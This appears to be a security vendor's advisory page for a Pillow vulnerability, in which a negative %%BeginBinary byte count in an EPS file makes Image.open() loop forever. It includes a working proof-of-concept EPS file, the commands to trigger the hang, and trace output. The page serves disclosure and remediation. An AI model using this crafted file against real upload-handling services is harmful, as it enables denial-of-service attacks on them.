GHSA-pg7v-jwj7-p798 is a medium-severity (CVSS 5.3) CWE-835 vulnerability in pillow. O3 Security confirms whether GHSA-pg7v-jwj7-p798 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pg7v-jwj7-p798.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pg7v-jwj7-p798 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 365,950 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pillowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.
The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.
Confirmed affected versions: Pillow 12.0.0 through 12.2.0.
Details
The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.
Relevant code:
elif bytes_mv[:14] == b"%%BeginBinary:":
bytecount = int(byte_arr[14:bytes_read])
self.fp.seek(bytecount, os.SEEK_CUR)
There is no validation that bytecount is non-negative.
If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.
In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.
PoC
Save the following content as pillow_eps_beginbinary_dos.eps:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF
Then run:
python -m pip install "Pillow==12.2.0"
python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY
Expected behavior: Pillow should reject the malformed EPS file with a parser exception.
Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.
The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
Impact
This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().
This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.
Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pillow | ≥ 12.0.0&&< 12.3.0 | 12.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pg7v-jwj7-p798 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pg7v-jwj7-p798 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pg7v-jwj7-p798. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pg7v-jwj7-p798 in your dependencies?
O3 detects GHSA-pg7v-jwj7-p798 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.